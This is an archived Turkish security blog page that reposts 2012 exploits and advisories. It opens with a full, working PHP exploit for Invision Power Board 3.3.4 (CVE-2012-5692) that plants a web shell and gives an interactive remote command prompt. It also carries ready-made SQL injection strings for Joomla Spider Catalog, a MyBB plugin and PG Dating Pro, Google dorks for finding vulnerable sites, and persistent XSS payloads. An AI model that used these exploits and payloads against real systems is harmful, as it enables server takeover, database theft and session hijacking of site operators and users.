Archive for 01 Kasım 2012

Invision Power Board 3.3.4 PHP Code Execution

Invision Power Board <= 3.3.4 "unserialize()" PHP Code Execution bulunan açığa ilişkin php code: [sourcecode language="plain"] <?php /* ---------------------------------------------------------------- Invision Power Board <= 3.3.4 "unserialize()" PHP Code Execution ---------------------------------------------------------------- author..............: Egidio Romano aka EgiX mail................: n0b0d13s[at]gmail[dot]com software link.......: +-------------------------------------------------------------------------+ | This proof of concept code was written for educational purpose only. | | Use it at your own risk. Author will be not responsible for any damage. | +-------------------------------------------------------------------------+ [-] Vulnerable code in IPSCookie::get() method defined in /admin/sources/base/core.php 4015. static public function get($name) 4016. { 4017. // Check internal data first 4018. if ( isset( self::$_cookiesSet[ $name ] ) ) 4019. { 4020. return self::$_cookiesSet[ $name ]; 4021. } 4022. else if ( isset( $_COOKIE[ipsRegistry::$settings['cookie_id'].$name] ) ) 4023. { 4024. $_value = $_COOKIE[ ipsRegistry::$settings['cookie_id'].$name ]; 4025. 4026. if ( substr( $_value, 0, 2 ) == 'a:' ) 4027. { 4028. return unserialize( stripslashes( urldecode( $_value ) ) ); 4029. } The vulnerability is caused due to this method unserialize user input passed through cookies without a proper sanitization. The only one check is done at line 4026, where is controlled that the serialized string starts with 'a:', but this is not sufficient to prevent a "PHP Object Injection" because an attacker may send a serialized string which represents an array of objects. This can be exploited to execute arbitrary PHP code via the "__destruct()" method of the "dbMain" class, which calls the "writeDebugLog" method to write debug info into a file. PHP code may be injected only through the $_SERVER['QUERY_STRING'] variable, for this reason successful exploitation of this vulnerability requires short_open_tag to be enabled. [-] Disclosure timeline: [21/10/2012] - Vulnerability discovered [23/10/2012] - Vendor notified [25/10/2012] - Patch released: [25/10/2012] - CVE number requested [29/10/2012] - Assigned CVE-2012-5692 [31/10/2012] - Public disclosure */ error_reporting(0); set_time_limit(0); ini_set('default_socket_timeout', 5); function http_send($host, $packet) { if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n"); fputs($sock, $packet); return stream_get_contents($sock); } print "\n+---------------------------------------------------------------------+"; print "\n| Invision Power Board <= 3.3.4 Remote Code Execution Exploit by EgiX |"; print "\n+---------------------------------------------------------------------+\n"; if ($argc < 3) { print "\nUsage......: php $argv[0] <host> <path>\n"; print "\nExample....: php $argv[0] localhost /"; print "\nExample....: php $argv[0] localhost /ipb/\n"; die(); } list($host, $path) = array($argv[1], $argv[2]); $packet = "GET {$path}index.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Connection: close\r\n\r\n"; $_prefix = preg_match('/Cookie: (.+)session/', http_send($host, $packet), $m) ? $m[1] : ''; class db_driver_mysql { public $obj = array('use_debug_log' => 1, 'debug_log' => 'cache/sh.php'); } $payload = urlencode(serialize(array(new db_driver_mysql))); $phpcode = '<?error_reporting(0);print(___);passthru(base64_decode($_SERVER[HTTP_CMD]));die;?>'; $packet = "GET {$path}index.php?{$phpcode} HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cookie: {$_prefix}member_id={$payload}\r\n"; $packet .= "Connection: close\r\n\r\n"; http_send($host, $packet); $packet = "GET {$path}cache/sh.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cmd: %s\r\n"; $packet .= "Connection: close\r\n\r\n"; if (preg_match('/<\?error/', http_send($host, $packet))) die("\n[-] short_open_tag disabled!\n"); while(1) { print "\nipb-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; $response = http_send($host, sprintf($packet, base64_encode($cmd))); preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n"); } [/sourcecode]

Endpoint Protector v4.0.4.2 Multiple Persistent XSS

Endpoint Protector v4.0.4.2 Multiple Persistent XSS açığı bulunmuş olup, açık bulucunun açık hakkındaki açıklamaları;

Advisory Name: Multiple Persistent Cross-Site Scripting (XSS) in Endpoint

Internal Cybsec Advisory Id: 2012-1029-Multiple Persistent XSS in Endpoint

Vulnerability Class: Permanent Cross-Site Scripting (XSS)

Release Date: 10/29/2012

Affected Applications: Endpoint Protector v4.0.4.2; other versions may
also be affected.

Affected Platforms: Any running Endpoint Protector v4.0.4.2

Local / Remote: Remote

Severity: High � CVSS: 5.8 (AV:N/AC:M/Au:NR/C:N/I:P/A:P)

Researcher: Juan Manuel Garcia

Vendor Status: Acknowedged / Unpatched

Reference to Vulnerability Disclosure Policy:

Vulnerability Description:
Multiple Persistent Cross-Site vulnerabilities were found in Endpoint Protector v4.0.4.2 [Virtual
Appliance], because the application fails to sanitize the response before it is returned to the user.
This can be exploited to execute arbitrary script and HTML code in a user's browser session. This may
allow the attacker to steal the user's cookie and to launch further attacks.
The parameters "client_device[name]" and "client_device[description]" in /index.php/clientdevice/create are not properly sanitized.

The parameters "client_machine[name]", "client_machine[domain]","client_machine[workgroup]" and "client_machine[location]" in /index.php/clientmachine/create are not properly sanitized.
The parameter "group[name]" in /index.php/mgroup/create is not properly sanitized.

Other parameters might also be affected.

Proof of Concept:
* The parameter "client_device[name]" in the POST request has been set to:
* The parameter "client_device[description]" in the POST request has been
set to:
POST /index.php/clientdevice/create HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:11.0)
Gecko/20100101 Firefox/11.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: place=clientdevice; mark=clientdevice;
Content-Type: multipart/form-data; boundary=---------------------------
Content-Length: 1131
Content-Disposition: form-data; name="id"
Content-Disposition: form-data; name="client_device[department_id]"
Content-Disposition: form-data; name="client_device[device_type_id]"
Content-Disposition: form-data; name="client_device[name]"
Content-Disposition: form-data; name="client_device[description]"
Content-Disposition: form-data; name="client_device[vid]"
Content-Disposition: form-data; name="client_device[pid]"
Content-Disposition: form-data; name="client_device[serialno]"

An affected user may unintentionally execute scripts or actions written by
an attacker. In addition, an
attacker may obtain authorization cookies that would allow him to gain
unauthorized access to the
In this particular case, any user with permission to access the
administration console could gain "super
admin" privileges by stealing the session cookie of another user with this
Vendor Response:
2012/03/27 - Vulnerability was identified
2012/03/29 - Cybsec sent detailed information on the issue and a Proof of
Concept to the vendor
2012/04/04 - Vendor confirmed vulnerability (Request ID - 10006599) and
stated �The problems
encountered do not represent a significant threat for customers using it
because it is usually done with
no Internet connection�
2012/04/05 - Vendor stated �we planned an official release of the new
patch to include all the fixes for
mentioned vulnerabilities for the date of 18 of September 2012�
2012/09/25 � Cybsec asked the vendor if the update had been released on
the planed date
2012/09/26 � Vendor stated that he would check the status of the report
2012/10/03 � Vendor gave us a new deadline: up to 3-4 months.
2012/10/24 � Vendor asked if we had published the security advisory
2012/10/24 � Cybsec stated that the security advisory was going to be
published on October 29
2012/10/29 � Vulnerability was released

Contact Information:
For more information regarding the vulnerability feel free to contact the
researcher at
jmgarcia <at> cybsec <dot> com

About CYBSEC S.A. Security Systems
Since 1996, CYBSEC is engaged exclusively in rendering professional
services specialized in
Information Security. Their area of services covers Latin America, Spain
and over 250 customers are a
proof of their professional life.

To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is
associated with other
software and/or hardware provider companies.
Our services are strictly focused on Information Security, protecting our
clients from emerging security
threats, maintaining their IT deployments available, safe, and reliable.

Beyond professional services, CYBSEC is continuously researching new
defense and attack techniques
and contributing with the security community with high quality information
For more information, please visit
(c) 2010 - CYBSEC S.A. Security Systems

Joomla Spider Catalog (index.php, product_id parameter) SQL Injection Vulnerability

Joomla Spider Catalog (index.php, product_id parameter) SQL Injection de sql injection açığı bulunmuş olup, açığın bulunduğu dizin ve açık hakkında açık bulucunun açıklamaları;

Exploit Title: Joomla com_spidercatalog SQL injection Vulnerability

 Dork: inurl:index.php?option=com_spidercatalog
 Date: [31-10-2012]
 Author: Daniel Barragan "D4NB4R"
 Twitter: @D4NB4R

 Version: 1.1 (last update on Sep 25, 2012)
 License: GPLv2 or later Commercial
 Tested on: [Linux(Arch)-Windows(7ultimate)]


Spider Catalog for Joomla! is a convenient tool for organizing the products represented on your website into catalogs. Each product on the catalog is assigned with a relevant category, which makes it easier for the customers to search and identify the needed products within the catalog. It is possible to add an unlimited number of parameters for each of the categories in the catalog in order to allow a detailed representation of the product on the catalog. Moreover, each product on the catalog can be accompanied with an image. Customers are provided with the possibility of rating the products available on the catalog, as well as writing customer reviews that will appear under the catalog products. Spider Catalog provides you with a high level of customization concerning almost all the aspects of the catalog, ranging from background colors and text size inside the product cell to the number of products in the row and the number of customer reviews per catalog page.

 Vulnerable Parameter Name: 


 Parameter Type: 


 Attack Pattern:

                                  -{Valid id}%27%20or%201%3d1%2b%28select%201%20and%20row%281%2c1%29%3E%28select%20count%28*%29%2cconcat%28CONCAT%28version%28%29,0x3D,database%28%29,0x3D,0x3D,0x3D%29%2c1111%2cfloor%28rand%28%29*2%29%29x%20from%20%28select%201%20union%20select%202%29a%20group%20by%20x%20limit%201%29%29%2b%27&view=showproduct&page_num=1&back=1 

 Exploit Demo: 

    SQLi : SQL injection


  Greetz:  All Member Inj3ct0r  Team * m1nds group (* pilot * aku * navi_terrible * dedalo * ksha
  * shine * devboot * r0073r * indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3 Jago-dz * Kha&miX * T0xic
  * Ev!LsCr!pT_Dz * By Over-X *Saoucha * Cyber Sec * theblind74 * onurozkan * n2n * Meher Assel
  * L0rd CruSad3r * MaYur * MA1201 * KeDar * Sonic * gunslinger_ * SeeMe * RoadKiller Sid3^effects
  * aKa HaRi * His0k4 * Hussin-X * Rafik * Yashar * SoldierOfAllah * RiskY.HaCK * Stake * MR.SoOoFe
  * ThE g0bL!N * AnGeL25dZ * ViRuS_Ra3cH * Sn!pEr.S!Te

MyBB Follower User Plugin SQL Injection

Follower User MyBB plugin SQL Injection 0day açığı bulunmuş olup, açığın oluşum yerleri şu şekilde.

Exploit Title: Follower User MyBB plugin SQL Injection 0day
# Google Dork: intext:"Users subscribed to" inurl:member.php
# Date: 13.10.2012
# Exploit Author: Th3FreakPony
# Software Link:
# Version: 1.5+
# Tested on: Linux.

The vulnerabillity exist within SuscribeUsers.php on SuscribeUsers_add():

	$usid = $mybb->input[usid];	//Line 671
	$uid = $mybb->input[uid];	//Line 672
	if(user_awaiting($uid,$usid))	//Line 781
	{				//Line 782
		redirect("member.php?action=profile&uid=".$usid."#suscriberuser", $lang->double_suscription_awaiting,$lang->suscriberuser); // Line 783
	}				//Line 784


1. Create a new account on the target site.
2. Check your User ID by entering your profile link and write it down.
3. Enter here and start to inject your code:



http://server/misc.php?suscriberuser=yes&usid=' or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0)--+-2&uid=[your_uid]
Image :


Shotouts goes to FillySec.

VaM Shop 1.69 Multiple Vulnerabilities

VaM Shop 1.69 scriptinde XSS t açıkları bulundu. Açık hakkında açık bulucunun açıklamaları şu şekilde.

PG Dating Pro v1.0 CMS - Multiple Web Vulnerabilities




Common Vulnerability Scoring System:

Professional online dating script is a basis for a successful online dating, community and personals business. 
Dating Pro is readymade PHP online dating software for everyone. Our dating web site software can be used to create your own dating, 
personals, social dating, adult & matrimonial sites. Flexible source codes and fully equipped dating software package makes a 
vivid site for your community. 

Get the best from dating software industry – we are constantly reviewing latest trends, online dating news & innovations in online dating 
industry to implement them into our dating script. We listen to what our customers and non-customers say. We provide regular updates for 
dating website software to make your business prosperous!

Get stuff done quickly – we provide free installation, free support, manuals and videos on how to manage your site more effectively! 
Own & promote your brand instantly. Personalize user profiles & site texts, adjust design styles & upload your own logo, change copyrights, 
add your SEO meta tags. Use hosting and customization services any time you need them. We know that you have great ideas and don’t have time
 to deal with coding and setup. You don’t need to. Our customization & hosting teams do their best to satisfy your needs. 
Find everything in one package. Users online are very selective. You need to look & feel like a reputable dating site from the start. The 
package has options your users would expect: Chats, P2P messenger, messages, kisses, memberships, searches, profiles, ratings, galleries, forum, 
blogs, groups, events… you name it. 

Mind your budget & requirements. Check different pricing schemes. Choose the right one among our `all modules`, `open source , `multi-license`, 
`partial payments` and “all inclusive` offers. It’s not about money. Your satisfaction is our main goal! 
It’s pleasure for us to serve your business! Try PG Dating Pro today!

The Vulnerability Laboratory Research Team discovered multiple Web Vulnerabilities in PG Dating Pro v1.0 CMS.

2012-10-29:	Public Disclosure




A remote SQL Injection vulnerability is detected in the PG Dating Pro v1.0 CMS, turnkey PHP dating software to start internet dating service.
The vulnerability allows an attacker (remote) or local low privileged user account to execute a SQL commands on the affected application dbms. 
The sql injection vulnerability is located in events.php file with the bound vulnerable id_event parameter. Successful exploitation of the 
vulnerability results in dbms & application compromise. Exploitation requires no user interaction & without privileged user account.

Vulnerable File(s):
				[ ] events.php

Vulnerable Module(s):
				[ ] edit_event

Vulnerable Parameter(s):
				[ ] id_event

Multiple persistent input validation vulnerabilities are detected in the PG Dating Pro v1.0 CMS, turnkey PHP dating software to start internet dating service.
The bugs allow remote attackers to implement/inject own malicious script code on the application side (persistent). The persistent vulnerabilities are located 
in the shoutbox, edit questions modules with the bound vulnerable message and title. Successful exploitation of the vulnerability can lead to session hijacking
(manager/admin) or stable (persistent) context manipulation. Exploitation requires low user inter action & privileged web application user account.

Vulnerable Module(s):
				[ ] Shoutbox
				[ ] admin -> Questions & Answers 

Vulnerable Parameter(s):
				[ ] the message we write in the shout box
				[ ] title

Proof of Concept:
The SQL injection vulnerability can be exploited by remote attackers without user inter action. For demonstration or reproduce ...

1<iframe src=http://datingpro.
 union Select 1,2,3,4,5,6,7,8,9,10,11,version(),13,14,15,16,17,18-- - width="1000" height="800">
2<iframe src=http://datingpro.
 union Select 1,2,3,4,5,6,7,8,9,10,11,()database(),13,14,15,16,17,18-- - width="1000" height="800">

The persistent input validation vulnerabilities can be exploited by remote attackers with low or medium required user inter action 
& low privileged user account. For demonstration or reproduce ...

The attacker can post a message in the shoutbox with injecting a malicious code i.e., 
>"<iframe src= onload=alert("VL")</iframe>
When the admin or any user view anypage where the shoutbox is displayed the code gets executed.

If an attacker has admin rights he can inject all users by posting a question and editing it is title to have a malicious code, 
such as >"<iframe src= onload=alert("VL")</iframe>

The security risk of the remote SQL Injection vulnerability is estimated as critical.

The security risk of the persistent input validation vulnerabilities are estimated as medium( ).

Vulnerability Laboratory [Research Team] - Ibrahim El-Sayed (the_storm) [] []

The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:   	-			       -
Contact: 	- 	       -
Section: 	- 		       -
Social:!/vuln_lab 		- 	       -
Feeds:	-   -

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
modify, use or edit our material contact ( or to get a permission.

    				   	Copyright © 2012 | Vulnerability Laboratory